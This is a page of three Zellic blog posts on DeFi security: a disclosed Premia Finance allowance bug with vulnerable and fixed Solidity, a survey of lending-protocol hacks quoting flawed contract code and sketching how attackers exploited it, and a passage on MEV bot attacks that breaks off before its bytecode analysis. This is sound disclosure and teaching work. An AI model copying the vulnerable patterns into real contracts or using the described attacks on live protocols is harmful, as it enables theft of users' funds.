Skip to main content

5 posts tagged with "DeFi"

View All Tags
Ayaz Mammadov

How Zellic found a critical security vulnerability affecting all three million dollars worth of staked Premia Finance tokens
Article heading

I'm Ayaz Mammadov, a security engineer at Zellic. I often come across vulnerabilities in code. One day, I was browsing projects during my spare time and found something interesting from Premia Finance — an uncaught bug that could have led to millions of dollars in lost funds.

Though now resolved, this story serves as an interesting example of the process security engineers take to discover bugs. From finding targets to exploring a codebase, we’ll go over the steps it takes to find and expose a vulnerability and how the Premia Finance bug was caught.

Finding a Target

There are several factors that come into play when finding a target.

Platforms, ecosystems, and languages. These are most important to consider when finding a target. Newer and less mature platforms that use different languages present more opportunity for finding security flaws — developer knowledge and confidence is not yet strong, which leaves more room for error. Further, when searching for vulnerabilities in less mature platforms, there is less competition (because of limited information and a high barrier to entry). An experienced security researcher has a significant advantage in finding bugs on newer platforms because of their domain expertise. However, there are disadvantages when it comes to newer platforms: there are far fewer projects available, and on average those projects have a smaller total value locked (TVL).

The TVL range. The larger the TVL of the project, the more severe the bugs are. Apart from obvious criticals that cause loss of funds, even less severe bugs that would occasionally be disregarded as user error or an unlikely incident can have far-reaching and spread-out effects. This is especially true when other nonstandard contracts/tokens (e.g., ERC-777s) are involved that have special features that are not accounted for. Large projects usually also have more audits from different auditing companies and bug bounty systems, which greatly reduce low-hanging fruit. However, small projects might not have auditor bug bounties.

Project type and its mechanisms. Crypto shows up in many fields, whether it be in video games, casinos, markets/DeFi, NFT marketplaces, escrow systems, mixers, wallets, and so on. Here, a security researcher's personal preference is most important, as experience with and knowledge of the common pitfalls of specific projects and their interactions with well-known DeFi projects (e.g., Compound, Uniswap) is greatly appreciated. The trade-offs here are obvious, as finance-related protocols usually contain higher TVLs. On the contrary, other crypto projects may contain less TVL but more lines of on-chain code and higher complexity, which makes it easier to find security flaws.

"Forktasticity". This is an unspoken topic; it describes how forked a project is and how likely it's to be used as a base for other projects. One may notice that a lot of decentralized apps (dApps) are altered forks of other popular protocols (e.g., Compound, AAVE, Uniswap). These projects may have few changes that a security researcher can quickly cover if they are already up-to-date with the original protocol and the possible side effects that changes have. Conversely, they also usually contain widely reviewed code that is unlikely to have any issues. These projects also expose opportunities: when an exploit affects a protocol, it usually affects many of its forks. Security researchers who are on the watch and following recent news, or use tools like Zellic's Forky (coming soon), can often take advantage of being an early bird to secure other protocols.

Methodology of Finding Bugs

There are three main ways of exploring code: focusing on breadth, focusing on depth, and focusing on speed.

The breadth-first style of security research relies on common, low-hanging fruit, which are issues that present themselves in a similar manner. The upside of this approach is that a security researcher can cover more code with just a quick skim and without much consideration of the underlying intentions, effects, and architectural decisions taken during the development phase. This type of security research is also context-free, meaning that it can be done without having to take notes and piecing together how things work. This type of security research is advantageous because it can be employed at any time, when energy is low, and when there isn't that much free time, and it can be done on a whim. But the downside is that it is difficult to find in-depth bugs in secure and popular protocols.

The depth-first style of security research prefers to uncover every detail and inner workings of a protocol, methodically going over each line of code and thinking about various consequences and possible exploitation. This would ideally be the only style of security research, as if it is effectively implemented, it results in uncovering deep, hard-to-catch bugs. However, there are clear downsides: if the protocol being looked at is not fairly large or commonly seen and results are not found, the effort spent deeply thinking about the protocol is not of much value. This style of security research is preferred for larger projects (e.g., Compound, AAVE) because even if issues are not found, the knowledge gained from conducting the research is easily applicable to forks and other protocols. When a security researcher inevitably encounters the same code they've already read, they'll be able to get up to speed a lot faster.

Lastly, a speed-based approach can be employed where a security researcher keeps their eyes out for accounts on social media (such as Twitter/Telegram) that report issues that affect popular protocols. This information can be used to target similar forks or projects, tailoring the vulnerability to them. This requires a security researcher to be up-to-date and vigilant.

Finding the Protocols

There are multiple sources for finding protocols, from websites to social media to news feeds. I personally use websites such as DeFiLlama to browse through DeFi protocols as they provide values for the TVL and the platform on which the project is based. Other important pieces of information like previous audits or links to documentation can also be quickly found. The website DappRadar is an alternative. A lot of upcoming projects won't be listed on any aggregators but need to be discovered through social media such as Twitter and Telegram.

Finding the Bug

During my spare time, I decided to open up DeFiLlama. My preference is to look at projects with a TVL greater than five million dollars and ones that contain bug bounties. Bug bounties are a win-win situation — they ensure protocols are secured while supporting the work and efforts of security researchers.

I looked through several projects, glancing at their descriptions and doing a very brief overlook of the project structure to determine my interest. Then, I stumbled upon Premia Finance. When finding a new project, I look at its documentation and get a bird's-eye view of how everything works and what the purpose of the protocol is. In this case, it was an options-based market.

The first thing to look at is the project structure to determine certain pieces of information:

  • Is the code original, or is it a fork? If the latter, is it altered fork code?

  • What is the topmost function being called by users? (Usually, these functions are external/public, but that's not always the case as it could be called by another contract, so do due diligence with cross-referencing.)

  • Are there commonly shared implementations (ERC-20s, etc.)?

  • Are there custom implementations for things that have already established implementations (custom onlyOwner, nonReentrant, etc.)?

The Bug

After exploring the project, I came across a function called sendFrom that is responsible for sending staked users' tokens across chains.

A user can allocate allowance to another user such that they can manage their tokens across chains. The function responsible for this in the invocation of sendFrom is _debitFrom. The _debitFrom checks that the user calling sendFrom has been allocated allowance from the from address, and if that is the case, it then burns the tokens that are to be sent across chains. Otherwise, it reverts.

function _debitFrom(
address from,
uint16,
bytes memory,
uint256 amount
) internal virtual override {
address spender = msg.sender;

if (from != spender) {
unchecked {
mapping(address => uint256)
storage allowances = ERC20BaseStorage.layout().allowances[
spender
]; // (1)

uint256 allowance = allowances[spender]; // (2)
if (amount > allowance) revert OFT_InsufficientAllowance();

_approve(
from,
spender,
allowances[spender] = allowance - amount
);
}
}

_burn(from, amount);
}

The issue arises in the allowance check — specifically the allowance being checked. When simplified, the allowance being checked is allowances[msg.sender][msg.sender] (see lines (1) and (2)). As a result, any user can grant allowance to themself to arbitrarily cause cross-chain transfers of other users' tokens to an arbitrary address. In conclusion, any user can steal any other user's funds using cross-chain transfers.

The Impact

At the time this vulnerability was discovered, there were three million dollars' worth of Premia tokens staked across multiple chains. All of these staked tokens were at risk of being stolen.

The Fix

The function was fixed by properly retrieving the allowances variable using the from address and not spender.

function _debitFrom(
address from,
uint16,
bytes memory,
uint256 amount
) internal virtual override {
address spender = msg.sender;

if (from != spender) {
unchecked {
mapping(address => uint256)
storage allowances = ERC20BaseStorage.layout().allowances[
from
];

uint256 allowance = allowances[spender];
if (amount > allowance) revert OFT_InsufficientAllowance();

_approve(
from,
spender,
allowances[spender] = allowance - amount
);
}
}

_burn(from, amount);
}

After this fix, if a malicious user were to supply a from address that hadn't granted allowance to them, the check would confirm this, as it would then use the from address's allowance and not the msg.sender's allowance.

Conclusion

We hope this was an interesting and informative read about the different methods for finding targets, the advantages and downsides of certain protocols/projects, the different sources to find said protocols, and an example bug that we found.

This story aimed to help researchers optimize their bug-hunting process. We encourage all security researchers to get out there — go secure protocols in the wild!

Disclosure Timeline

  • 7/12/2023 — We get in touch with the Premia Finance team.

  • 7/13/2023 — They confirm the issue and start working on remediation.

  • 7/25/2023 — The bug bounty was rewarded.

  • 7/31/2023 — The bug is fixed, and the vulnerability can be disclosed.

A big thanks to the Premia Finance team for getting back to us quickly and handling communications in a timely manner.

About Us

Zellic is a smart contract auditing firm founded by hackers, for hackers. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants. Whether you’re developing or deploying smart contracts, Zellic’s experienced team can prevent you from being hacked.

Contact us for an audit that’s better than the rest. Real audits, not rubber stamps.

Nipun Gupta

A review of the attack landscape on DeFi borrowing protocols
Article heading

Introduction

The global cryptocurrency market today has become a trillion-dollar industry, and over the past few years, there have been numerous innovations within the space. One of the most significant developments is the emergence of decentralized finance (DeFi). At the core of DeFi are collateralized debt positions (CDPs) and lending protocols. These protocols allow users to lend and borrow cryptocurrencies without relying on traditional financial institutions and leverage smart contracts to automate the process. In this post, we will go through the major hacks on CDPs and lending protocols, emphasize best practices, and provide actionable advice on how to avoid these security vulnerabilities.

What Are CDPs and Lending Protocols?

CDPs and lending protocols are fundamental components of the DeFi ecosystem on the blockchain.

CDPs are smart contracts that allow users to take a loan on an asset in exchange for depositing collateral of a different asset. The deposited collateral is then locked in the contract until the loan is repaid. This way, CDPs mint a number of stablecoins equal to the requested loan amount. The smart contracts ensure that the stablecoin is always backed by a sufficient amount of collateral. When the value of the collateral falls below a certain threshold, decided by the protocol, the user’s position can be liquidated.

Lending protocols, on the other hand, enable users to lend and borrow from a pool of assets. Users who provide assets in such pools are provided rewards that are taken from borrowers as fees.

From a security perspective, there are a lot of things that can go wrong while creating CDPs or lending protocols. In what follows, we will go through the most common bugs and how to prevent them.

Common Bugs in CDP and Lending Protocols

1. Price Manipulation

Price manipulation is one of the most exploited issues for CDPs and lending protocols. These attacks exploit smart contracts' reliance on external data sources, known as oracles, to function accurately. Oracles bridge the gap between the blockchain and the outside world by providing real-time data such as price information. Price-manipulation attacks occur when an attacker artificially inflates or deflates the price of a token within a protocol. For instance, if a DeFi protocol uses a decentralized exchange (DEX) as its oracle to fetch the price of a particular asset, an attacker could artificially inflate or deflate the asset's price on the DEX. There are many ways to manipulate the price coming from an oracle depending upon how the price is fetched. Here we will go through some major hacks and how these can be avoided.

Spot Price Manipulation

Spot price--manipulation attacks are a form of market manipulation where attackers attempt to artificially alter the spot price of an asset. The spot price represents the current market price at which an asset can be instantly bought or sold. In the context of blockchain and DeFi, this manipulation typically targets the price of a token on a DEX (e.g., Uniswap).

Visor Finance Hack

Lost: $500K

Visor Finance got hacked in November 2021 due to reliance on spot prices from Uniswap. These spot prices can be easily manipulated by swapping token0 for token1. This takes token1 out of the AMM, raising the price of token1. During the hack, the attacker took a flash loan to manipulate the spot price to issue shares and then withdrew more tokens than expected.

uint160 sqrtPrice = TickMath.getSqrtRatioAtTick(currentTick()); //currentTick fetches the currect tick value
uint256 price = FullMath.mulDiv(uint256(sqrtPrice).mul(uint256(sqrtPrice)), PRECISION, 2**(96 * 2));

Here, the value of price would be the price of the token at current tick.

It is recommended to use Chainlink price feeds or time-weighted average price (TWAP) to fetch the price of a token. It is worth noting that short TWAPs may still be atomically manipulated in some scenarios.

See another hack due to a similar spot price reliance:

bZx --- Lost: $8M

Liquidity Pool--Token Price Manipulation

Numerous hacks come from using the wrong formula to calculate the price of liquidity pool (LP) tokens. Although it may seem obvious to calculate the price of LP tokens by dividing the token value locked in the pool by the total supply of LP tokens, this is the formula that leads to million-dollar hacks. The wrong equation would be this:

P_lp=p0r0+p1r1totalSupplyP\_{lp} = \frac{p_0\cdot r_0 + p_1\cdot r_1}{\text{totalSupply}}

where pip_i = price of token i and rir_i = token i reserve amount.

This method of pricing LP tokens is susceptible to manipulation, as r0r_0 and r1r_1 can be drastically moved with flash loans.

Alpha Venture presented fair Uniswap LP token pricing, which can be used instead of the above formula. The formula is as follows:

P_lp=2r0r1p0p1totalSupply=2Kp0p1totalSupplyP\_{lp} = \frac{2 \sqrt{r_0 \cdot r_1 \cdot p_0' \cdot p_1'}}{\text{totalSupply}} = \frac{2\sqrt{K\cdot p_0' \cdot p_1'}}{\text{totalSupply}}

where pip_i' is the true price of the asset; in other words, it is not susceptible to spot price manipulation (e.g., from a high-quality oracle).

Fair LP token pricing evaluates the LP token based on the values of the fair reserve amounts of the AMM. The fair reserve amounts are calculated based on the AMM constant KK and the fair price ratio.

Now, let’s go over some hacks due to the wrong LP token price formula.

Warp Finance Hack

Lost: $7.8M

Warp Finance was hacked due to the use of the wrong formula to calculate the price of LP tokens. Here is the code responsible for the hack:

function getUnderlyingPrice(address _lpToken) public returns (uint256) {
address[] memory oracleAdds = LPAssetTracker[_lpToken];
//retreives the oracle contract addresses for each asset that makes up a LP
UniswapLPOracleInstance oracle1 = UniswapLPOracleInstance(
oracleAdds[0]
);
UniswapLPOracleInstance oracle2 = UniswapLPOracleInstance(
oracleAdds[1]
);

(uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(
factory,
instanceTracker[oracleAdds[0]],
instanceTracker[oracleAdds[1]]
);

uint256 value0 = oracle1.consult(
instanceTracker[oracleAdds[0]],
reserveA
);
uint256 value1 = oracle2.consult(
instanceTracker[oracleAdds[1]],
reserveB
);

// Get the total supply of the pool
IERC20 lpToken = IERC20(_lpToken);
uint256 totalSupplyOfLP = lpToken.totalSupply();

//code skipped..
uint256 totalValue = value0 + value1;
uint16 shiftAmount = supplyDecimals;
uint256 valueShifted = totalValue * uint256(10)**shiftAmount;
uint256 supplyShifted = supply;
uint256 valuePerSupply = valueShifted / supplyShifted;

return valuePerSupply;
}

In the above code, the variable value0 is equal to p0 * r0 and value1 is p1 * r1. It's clear that the wrong formula is used to price the LP tokens.

Inverse Finance Hack

Lost: $1.26M

A similar attack on Inverse Finance was due to the LP token price manipulation of a tri-pool.

function latestAnswer() public view returns (uint256) {
uint256 crvPoolBtcVal = WBTC.balanceOf(address(CRV3CRYPTO)) * uint256(BTCFeed.latestAnswer()) * 1e2;
uint256 crvPoolWethVal = WETH.balanceOf(address(CRV3CRYPTO)) * uint256(ETHFeed.latestAnswer()) / 1e8;
uint256 crvPoolUsdtVal = USDT.balanceOf(address(CRV3CRYPTO)) * uint256(USDTFeed.latestAnswer()) * 1e4;

uint256 crvLPTokenPrice = (crvPoolBtcVal + crvPoolWethVal + crvPoolUsdtVal) * 1e18 / crv3CryptoLPToken.totalSupply();

return (crvLPTokenPrice * vault.pricePerShare()) / 1e18;
}

Again, the formula used to calculate the LP token price was incorrect, which led to the hack.

To price the LP tokens, use the formula presented by Alpha Venture. It is important to note that if the LP token is used both as a collateral and borrow token, the formula can still be manipulated.

Following are some other hacks caused by the use of the same formula:

Cheese Bank --- Lost: $3.3M

Themis Protocol --- Lost: $370k

NXUSD Protocol --- Lost: $371k

Donation-Based Price Manipulation Attacks

Another common way to manipulate the price or exchange rate is to directly donate to a pool. To illustrate, consider a scenario where the exchange rate is determined by the ratio of a specific token's balance to the total supply. In such a case, a potential threat arises when an attacker donates tokens to the pool, thereby altering the exchange rate to their advantage.

A well-known attack for this bug is on Compound forks with markets that have zero total supply. The underlying issue is also due to a rounding error in the exchangeRateStoredInternal function:

function exchangeRateStoredInternal() virtual internal view returns (uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return initialExchangeRateMantissa;
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
uint exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;

return exchangeRate;
}
}

function getCashPrior() virtual override internal view returns (uint) {
EIP20Interface token = EIP20Interface(underlying);
return token.balanceOf(address(this));
}

The attack involves donating to the market where totalSupply is zero and significantly increasing the exchange rate to borrow against it.

Some donation-based price manipulation attacks are successful due to the totalSupply of the pool being zero. This way, the attackers mint one share to increase the totalSupply to 1 and then donate to the pool to inflate the exchange rate. An easy way to fix these kind of attacks is for protocol admins to be the first to mint some shares so that totalsupply can never be zero. Other similar attacks can possibly be mitigated by keeping an internal account of tokens to account for the tokens that are directly donated to the pool.

Here are other hacks due to a similar underlying issue:

C.R.E.A.M. Finance --- Lost: $130M

Hundred Finance --- Lost: $7M

Midas Capital --- Lost: $600k

OVIX --- Lost: $4M

2. Read-Only Reentrancy

Read-only reentrancy attacks occur when a view function is used to read an inconsistent state of the protocol while it's being reentered. If the view function that is reentered is used to calculate critical data such as the price of a token, it can be used to manipulate the data when the function is reentered. As view functions are typically not protected using non-reentrant modifiers, they can be reentered without being reverted.

A typical read-only reentrancy attack flow looks like this:

  1. The attacker calls a reentrant contract. The called function (1) modifies the contract's state, then (2) returns control flow to the attacker but without finalizing/committing updates to its own state yet.
  2. When control flow is returned to the attacker, the reentrant contract is in an internally inconsistent state and is not safe to interact with. However, the reentrant contract itself has reentrancy mutex and isn't a viable attack target.
  3. Instead, the attacker calls a third-party victim contract. The victim contract is not aware that the reentrant contract is in an unsafe, inconsistent state and interacts with it in a read-only manner. No errors are thrown as view functions are typically not protected by reentrancy guards.
  4. The victim contract reads erroneous data and relies on it, leading to faulty operation of the victim contract for the attacker's benefit.

One common scenario for read-only reentrancy: The reentrant contract is often a DeFi primitive that's used as an oracle by another protocol. This other protocol is generally the victim contract.

Here are some common read-only reentrancy bugs exploited in the past:

Curve’s get_virtual_price

One of the most common functions used to exploit read-only reentrancy in CDPs and lending protocols is get_virtual_price when smart contracts integrating with Curve pools are used to estimate the price of LP tokens. This function can be reentered during a raw_call made by remove_liquidity . During the raw_call, the control flow would be transferred to the recipient’s fallback function. If the function get_virtual_price is reentered during this state, the value of D would be inconsistent, leading to an inconsistent return value and hence the price of the LP token. The function get_virtual_price can also be reentered if one of the tokens removed is an ERC-777/ERC-677 token.

@external
@nonreentrant('lock')
def remove_liquidity(
_amount: uint256,
_min_amounts: uint256[N_COINS],
) -> uint256[N_COINS]:
amounts: uint256[N_COINS] = self._balances()
lp_token: address = self.lp_token
total_supply: uint256 = ERC20(lp_token).totalSupply()
CurveToken(lp_token).burnFrom(msg.sender, _amount) # dev: insufficient funds

for i in range(N_COINS):
value: uint256 = amounts[i] * _amount / total_supply
assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"

amounts[i] = value
if i == 0:
raw_call(msg.sender, b"", value=value)
else:
assert ERC20(self.coins[1]).transfer(msg.sender, value)

log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply - _amount)

return amounts

@view
@external
def get_virtual_price() -> uint256:
"""
@notice The current virtual price of the pool LP token
@dev Useful for calculating profits
@return LP token virtual price normalized to 1e18
"""
D: uint256 = self.get_D(self._balances(), self._A())
token_supply: uint256 = ERC20(self.lp_token).totalSupply()
return D * PRECISION / token_supply

Here are some hacks due to read-only reentrancy in get_virtual_price:

dForce Protocol --- Lost: $3.4M

Midas Capital --- Lost: $660K

Sturdy Finance --- Lost: $880K

Jarvis Network --- Lost: ~$660K

Balancer’s _joinOrExit

Balancer’s read-only reentrancy has also been a root cause of several hacks in the past. The issue is in the function _joinOrExit, where the transfer (and hence the callback) is made before the pool balance is updated and thus makes the accounting inconsistent.

Source: PeckShield

Preventing read-only reentrancy attacks involves careful design and implementation of the protocol. It is important to ensure that read-only functions cannot be manipulated to modify state variables. During protocol integration, it is important to verify that such read-only functions are reentrancy protected. If not, the reentrancy locks of these external protcols should be verified to not be in any reentrancy scenario during any read-only function calls. Given the recent hacks on the Curve pool resulting from the Vyper compiler bug, it is of utmost importance to implement robust testing for these contracts. This will ensure that potential bugs do not impact the protocol.

Here are several hacks due to read-only reentrancy in _joinOrExit:

Sturdy Finance --- Lost: $800K

Sentiment --- Lost: $1M

3. Read-Write Reentrancy

Reentrancy was famously exploited in the 2016 DAO hack, where $50 million in Ether was stolen by recursively draining the DAO's balance. Reentrancy issues arise when a vulnerable contract calls an external contract without properly managing the state changes that occur during its execution. The receiving contract can make a recursive call back to the sending contract, repeating this process multiple times, which can either drain tokens or change the state of the contract in an unexpected manner.

In CDPs and lending protocols, there are many reentrancy and read-only reentrancy issues. We'll go over common cases of reentrancy in this section and delve into read-only reentrancy in the next.

Reentrancy in Compound Forks

Rari Capital

Lost: ~$80M

Rari is a Compound fork, and the protocol Compound had an issue with reentrancy attacks when cTokens were borrowed through the borrowFresh function. See below:

doTransferOut(borrower, borrowAmount);

/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;

The function doTransferOut makes a low-level call to the borrower address, which can then be used to make a reentrant call to exitMarket and withdraw the collateral. Here, the checks-effects-interactions (CEI) pattern is violated, which led to the attack.

See some other hacks due to the same underlying issue:

DeFiPIE Protocol --- Lost: $269K

Paribus --- Lost: $67K

Reentrancy Due to ERC-777/ERC-677 Tokens

Caution should be made while using these tokens in the protocol as these tokens can cause reentrancy attacks. Some Compound forks that used ERC-777/ERC-677 were hacked due to the combination of two issues. For example, the CEI pattern was not followed and the protocol used tokens that have callbacks.

These are some Compound forks hacked due to the use of ERC-777/ERC-677 tokens:

Hundred Finance --- Lost: $6.2M

Voltage Finance --- Lost: $4.6M

Agave DAO --- Lost: $5.5M

C.R.E.A.M. Finance --- Lost: $18M

There were a few more hacks (not on Compound forks) due to the use of such tokens. Here are some examples.

**Bacon Protocol Hack**

Lost: ~$1M

The root cause of the bug was a reentrancy due to the ERC-777--token callback function tokensReceived , which led to reentry in the lend function, as shown below.

It is very important to always follow the CEI pattern and put non-reentrant modifiers to functions susceptible to reentrancy attacks. Again, we'd like to bring to attention the FREI-PI pattern. The main idea behind this pattern is to write protocol invariants at the end of functions, such that if they are ever violated during a transaction, it would be reverted.

See another hack on a lending protocol due to reentrancy issues:

Arcadia Finance --- Lost: $460k

4. Insufficient Input Validation

This bug arises when the smart contract fails to properly validate and trusts the input data without properly sanitizing user inputs. The underlying issue is the lack of proper input validation mechanisms. Here are some of the major hacks due to these issues:

Auctus Hack

Lost: $726K

On March 29th, Auctus was exploited by hackers to profit about $726,000 from users who did not revoke the approvals. Here is the code snippet that led to the hack:

function write(address acoToken, uint256 collateralAmount, address exchangeAddress, bytes memory exchangeData) 
nonReentrant setExchange(exchangeAddress) public payable
{
require(msg.value > 0, "ACOWriter::write: Invalid msg value");
require(collateralAmount > 0, "ACOWriter::write: Invalid collateral amount");

address _collateral = IACOToken(acoToken).collateral();
if (_isEther(_collateral)) {
IACOToken(acoToken).mintToPayable{value: collateralAmount}(msg.sender);
} else {
_transferFromERC20(_collateral, msg.sender, address(this), collateralAmount);
_approveERC20(_collateral, acoToken, collateralAmount);
IACOToken(acoToken).mintTo(msg.sender, collateralAmount);
}

_sellACOTokens(acoToken, exchangeData);
}

/**
* @dev Internal function to sell the ACO tokens and transfer the premium to the transaction sender.
* @param acoToken Address of the ACO token.
* @param exchangeData Data to be sent to the exchange.
*/
function _sellACOTokens(address acoToken, bytes memory exchangeData) internal {
uint256 acoBalance = _balanceOfERC20(acoToken, address(this));
_approveERC20(acoToken, erc20proxy, acoBalance);
(bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
require(success, "ACOWriter::_sellACOTokens: Error on call the exchange");

address token = IACOToken(acoToken).strikeAsset();
if(_isEther(token)) {
uint256 wethBalance = _balanceOfERC20(weth, address(this));
if (wethBalance > 0) {
IWETH(weth).withdraw(wethBalance);
}
} else {
_transferERC20(token, msg.sender, _balanceOfERC20(token, address(this)));
}

if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}

The function write is public, and the parameters are not validated. The attacker exploited it by setting exchangeAddress to the address of the USDC token and exchangeData as transferFrom. All the other conditions can be easily bypassed by creating a fake acoToken and giving it as input in the write function.

Fortress Protocol Hack

Lost: $3M

Fortress Protocol was hacked on May 9th, 2022, due to a few different vulnerabilities. Here we will focus only on the insufficient input validation bug that led to manipulation of the Umbrella Network oracle.

function submit(
uint32 _dataTimestamp,
bytes32 _root,
bytes32[] memory _keys,
uint256[] memory _values,
uint8[] memory _v,
bytes32[] memory _r,
bytes32[] memory _s
) public { // it could be external, but for external we got stack too deep

...
...
for (; i < _v.length; i++) {
address signer = recoverSigner(affidavit, _v[i], _r[i], _s[i]);
uint256 balance = stakingBank.balanceOf(signer);

require(prevSigner < signer, "validator included more than once");
prevSigner = signer;
if (balance == 0) continue;

emit LogVoter(lastBlockId + 1, signer, balance);
power += balance; // no need for safe math, if we overflow then we will not have enough power
}

require(i >= requiredSignatures, "not enough signatures");
// we turn on power once we have proper DPoS
// require(power * 100 / staked >= 66, "not enough power was gathered");

squashedRoots[lastBlockId + 1] = _root.makeSquashedRoot(_dataTimestamp);
blocksCount++;

emit LogMint(msg.sender, lastBlockId + 1, staked, power);
}

The submit function used to update the price can be called by anyone. The function only verifies if the number of signatures is greater than requiredSignatures. It does not check the power as that verification (require(power * 100 / staked >= 66, "not enough power was gathered");) was commented out from the code.

It is crucial to verify every single parameter that is passed in a function. Only the parameters expected by the functions should be allowed, and all other cases should be reverted. Here, we'd also like to bring attention to the function requirements--effects--interactions + protocol invariants (FREI-PI) pattern.

Other hacks due to similar issues:

Visor Finance - Lost: $8.2M

Deus DAO Hack --- Lost: $6.5M

5. Insufficient Access Control

These issues occur when there are insufficient limitations on who can access or edit critical data within the smart contract and when the access control mechanisms in the contract are inadequately designed. This can be fixed by implementing role-based access control and ensuring that sensitive functions are only accessible by authorized addresses. This is an example of one such attack on a lending protocol:

Rikkei Finance

Lost: $1.1M

The underlying issue was that the function setOracleData lacked any access control mechanism and could be called by anyone. The attacker changed the oracleData mapping to manipulate the price feed of the protocol.

function setOracleData(address rToken, oracleChainlink _oracle) external { **//vulnerable**
oracleData[rToken] = _oracle;
}

It is recommended to review every function and carefully decide if it is critical that the function be protected by access control mechanisms so that only the owner of the contract or governance can access/call such functions successfully.

The Takeaway

Price manipulation, insufficient access control and input validation, and reentrancy issues are some of the most major issues for CDPs and lending protocols. However, the DeFi ecosystem is in a constant state of change, paving way for more security vulnerabilities to emerge and watch out for in the future. Neglecting preventative measures against hacks such as these is the first step in how not to create a CDP or lending protocol.

About Us

Zellic is a smart contract auditing firm founded by hackers, for hackers. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants. Whether you’re developing or deploying smart contracts, Zellic’s experienced team can prevent you from being hacked.

Contact us for an audit that’s better than the rest. Real audits, not rubber stamps.

pepsipu

How Zellic found a bug in a top MEV contract
Article heading

Introduction

Ethereum is a dark forest. Bots listen to incoming transactions on the network and submit their own before the normal user — a process called front-running. Front-running makes bots millions per month in MEV. However, MEV bots are vulnerable to several security issues.

During the process of researching for this post, we identified a gas optimization bug in one of the largest MEV bots on Ethereum: 0x2387…8CDB. It allows us to collect all the ERC-20 tokens the contract owns and is approved for.

What Is MEV?

MEV is a metric of a transaction’s value to bots. For example, a buy transaction for a coin is valuable to holders of that coin, and a sell transaction for a coin a user is borrowing against is valuable to bots that liquidate undercollateralized loans. By becoming a benefitting party, such as a holder of a token or a liquidator of a position, bots can extract value from a transaction. The theoretical limit of the value that bots can get out of a transaction is called MEV — maximal extractable value.

Sandwiches are a specific type of MEV. By leveraging transactions that buy and sell tokens, bots enter advantageous positions before a user’s transaction gets executed — a process known as front-running. Then, after the transaction executes, the bot immediately exits the position. For example, the bot buys $PEPE, the user buys $PEPE, and then the bot sells $PEPE.

There are more subtle types of MEV too. When a token is mispriced on different markets, such as Uniswap V2 and V3, bots will buy from the cheaper one to sell to the more expensive one. This process is known as arbitrage.

Liquidations, another form of MEV, are a driving force for arbitrage and sandwiches. When a user’s loan is undercollateralized — the value of the user’s collateral isn’t enough to cover the loan — it is subject to liquidation. Bots liquidate the loan, collecting their collateral and selling it on the open market. These price movements form arbitrage and sandwich opportunities.

These MEV opportunities typically require front-running in one way or another. Front-running is done by bribing a miner to include a bot’s transaction first. This bribe also needs to be larger than other bots’ bribes competing for the same value extraction opportunity. Competition in MEV has caused some bots to forfeit over 99% of the extracted value to the bribe. The three transactions are added to a bundle, an atomic list of transactions sent to miners, which explicitly tells them to either include all three in order or none at all.

Now that we know the principles of MEV, we can explore where bots go wrong in extracting it.

Common MEV Attacks

Salmonella Attacks

Attacking MEV bots isn’t new. The salmonella attack creates poisoned tokens that, when bought, provide a fraction of the tokens the buyer expects to receive. By buying a large sum of this token in the public transaction pool, an attacker can bait bots into sandwiching them. They’ll start by buying the poisoned token before the attacker, but they’ll receive too few tokens to sell.

However, modern bots mitigate this attack variety with simulations. If sandwiching a transaction doesn’t turn a profit in simulation, they won’t attempt it. Additionally, if the attacker contract conditionally pays the builder (for example, sends 0.1 ETH to the address returned by the COINBASE instruction if and only if profit is made), transactions that don’t make money aren’t included. For the most part, this prevents them from getting exploited. But if an attacker can find a discrepancy between the simulation and live chain, some bots will pick up their poisoned transactions.

Take a look at this tweet by @bertcmiller. By checking if the current block is being mined by the Flashbots builder, a malicious token could discriminate between simulation and on chain to conditionally trigger the fractional payout. Profit looks good in simulation, but on chain, it’s a whole other story.

However, it’s reasonable to assume the transaction will fail because, without profit, nobody will bribe the miner for inclusion. No problem — the malicious token pays the miner itself, ensuring the victim’s purchase goes through.

Ommer Attacks

Sometimes, when building the blockchain, two new blocks are created instead of one. Although the blockchain will decide what block to choose with fork choice rules, the unincluded block, called the ommer or uncle block, leaks bundles. A bundle included in the ommer will be public to everyone on the blockchain, which allows malicious bots to ruin the atomicity MEV bots expect from their bundles. For example, a bot can pick out only the first buy transaction of another bot’s bundle and sandwich the transaction by including it in a new block.

This has happened many times before. For example, in this post by Elan Halpern, Halpern details trying to find evidence of these uncle bandit attacks occurring. The attacker only made 0.4 ETH — a relatively insignificant sum for MEV attacks — but ommers happen frequently enough to make this a valid money-making strategy.

Modern bots mitigate this attack by only allowing their transactions to succeed in blocks with a specific block ID. If the transaction is included in a block the bot didn’t intend, it’ll fail.

Gas Optimization Gone Wrong

Many bots rely on smart contracts to extract MEV since they can perform atomic operations and include checks to prevent the aforementioned attacks. However, smart contracts require gas — the currency of computation on Ethereum. So, in order to keep gas costs down, writers of MEV bots attempt to make their contracts as concise and inexpensive as possible. One of these optimizations is in function calling.

Efficient Function Calling?

In Solidity, the typical language used to write smart contracts, calling a function looks a little something like this under the hood:

  • The user gives the program a function hash. This is the keccak256 hash of the signature of the function the caller wants to call. For example, if they wanted to call transfer(address,uint256), they’d send the bytes a9059cbb.
  • The program will sequentially compare this hash to the list of public functions it has. Once it’s located a match, it’ll jump to the function.

However, this is gas hungry. Checking what hashes map to which functions require several comparisons and extra code. Is there a cheaper option?

Yes. The contract to be the object of our study, 0x2387…8CDB, is a competitive mixed sandwich and arbitrage bot that grosses around $1,000 a day. Its recent rankings on the EigenPhi MEV leaderboards have attracted a lot of attention. How does it save gas?

We’ll need to look at the bytecode.

